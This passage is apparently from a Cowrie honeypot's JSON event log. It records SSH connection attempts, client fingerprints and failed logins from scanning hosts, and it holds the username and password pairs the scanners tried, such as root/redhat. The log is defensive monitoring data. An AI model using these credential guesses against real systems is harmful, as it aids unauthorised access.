"arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:21.833678Z","src_ip":"147.185.132.46","session":"3afaba6b2db2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":54386,"dst_ip":"10.17.0.5","dst_port":22,"session":"a64378e1c8f7","protocol":"ssh","message":"New connection: 43.163.119.215:54386 (10.17.0.5:22) [session: a64378e1c8f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:24.188934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:24.193230Z","src_ip":"43.163.119.215","session":"a64378e1c8f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:24.429914Z","src_ip":"43.163.119.215","session":"a64378e1c8f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:25.141595Z","src_ip":"43.163.119.215","session":"a64378e1c8f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.984755516052246,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:28.357132Z","src_ip":"142.93.69.27","session":"d58698d813e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:28.593780Z","src_ip":"43.163.119.215","session":"a64378e1c8f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:29.438703Z","src_ip":"147.185.132.46","session":"3afaba6b2db2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":53138,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4666a75594b","protocol":"ssh","message":"New connection: 43.153.46.75:53138 (159.203.135.109:22) [session: f4666a75594b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:35.740211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:35.749193Z","src_ip":"43.153.46.75","session":"f4666a75594b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:35.818028Z","src_ip":"43.153.46.75","session":"f4666a75594b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:36.125297Z","src_ip":"43.153.46.75","session":"f4666a75594b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:37.197381Z","src_ip":"43.153.46.75","session":"f4666a75594b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":34822,"dst_ip":"159.203.135.109","dst_port":22,"session":"273d163c12d8","protocol":"ssh","message":"New connection: 103.75.199.4:34822 (159.203.135.109:22) [session: 273d163c12d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:41.572051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:41.577302Z","src_ip":"103.75.199.4","session":"273d163c12d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:41.668756Z","src_ip":"103.75.199.4","session":"273d163c12d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:41.942805Z","src_ip":"103.75.199.4","session":"273d163c12d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:43.037615Z","src_ip":"103.75.199.4","session":"273d163c12d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":47904,"dst_ip":"159.203.135.109","dst_port":22,"session":"8672b6f5d5e8","protocol":"ssh","message":"New connection: 162.243.147.237:47904 (159.203.135.109:22) [session: 8672b6f5d5e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:48.526673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:48.534579Z","src_ip":"162.243.147.237","session":"8672b6f5d5e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:48.603855Z","src_ip":"162.243.147.237","session":"8672b6f5d5e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2WSX@","message":"login attempt [root/1qaz2WSX@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:48.911866Z","src_ip":"162.243.147.237","session":"8672b6f5d5e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":40776,"dst_ip":"10.17.0.5","dst_port":22,"session":"188a3fc33b41","protocol":"ssh","message":"New connection: 67.102.183.113:40776 (10.17.0.5:22) [session: 188a3fc33b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:49.020748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:49.026117Z","src_ip":"67.102.183.113","session":"188a3fc33b41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:49.096634Z","src_ip":"67.102.183.113","session":"188a3fc33b41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.109.219.135","src_port":46558,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd516cb4da5c","protocol":"ssh","message":"New connection: 101.109.219.135:46558 (10.17.0.5:22) [session: fd516cb4da5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:49.362363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:49.367577Z","src_ip":"101.109.219.135","session":"fd516cb4da5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ss12345","message":"login attempt [root/ss12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:49.412134Z","src_ip":"67.102.183.113","session":"188a3fc33b41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:49.638725Z","src_ip":"101.109.219.135","session":"fd516cb4da5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:49.983319Z","src_ip":"162.243.147.237","session":"8672b6f5d5e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:50.488961Z","src_ip":"67.102.183.113","session":"188a3fc33b41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bitches","message":"login attempt [root/bitches] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:50.708096Z","src_ip":"101.109.219.135","session":"fd516cb4da5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:51.970329Z","src_ip":"101.109.219.135","session":"fd516cb4da5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":35642,"dst_ip":"159.203.135.109","dst_port":22,"session":"860e3c154ae6","protocol":"ssh","message":"New connection: 103.75.199.4:35642 (159.203.135.109:22) [session: 860e3c154ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:03.441022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:03.446894Z","src_ip":"103.75.199.4","session":"860e3c154ae6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:03.543125Z","src_ip":"103.75.199.4","session":"860e3c154ae6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:03.830391Z","src_ip":"103.75.199.4","session":"860e3c154ae6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:04.933096Z","src_ip":"103.75.199.4","session":"860e3c154ae6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":52042,"dst_ip":"10.17.0.5","dst_port":22,"session":"6de13a277a46","protocol":"ssh","message":"New connection: 163.7.9.84:52042 (10.17.0.5:22) [session: 6de13a277a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:12.035616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:12.040676Z","src_ip":"163.7.9.84","session":"6de13a277a46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:12.292740Z","src_ip":"163.7.9.84","session":"6de13a277a46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tcm2005","message":"login attempt [root/tcm2005] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:13.337527Z","src_ip":"163.7.9.84","session":"6de13a277a46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":41068,"dst_ip":"10.17.0.5","dst_port":22,"session":"34593c70f2e3","protocol":"ssh","message":"New connection: 43.163.119.215:41068 (10.17.0.5:22) [session: 34593c70f2e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:14.423911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:14.429265Z","src_ip":"43.163.119.215","session":"34593c70f2e3","protocol":"ssh"}
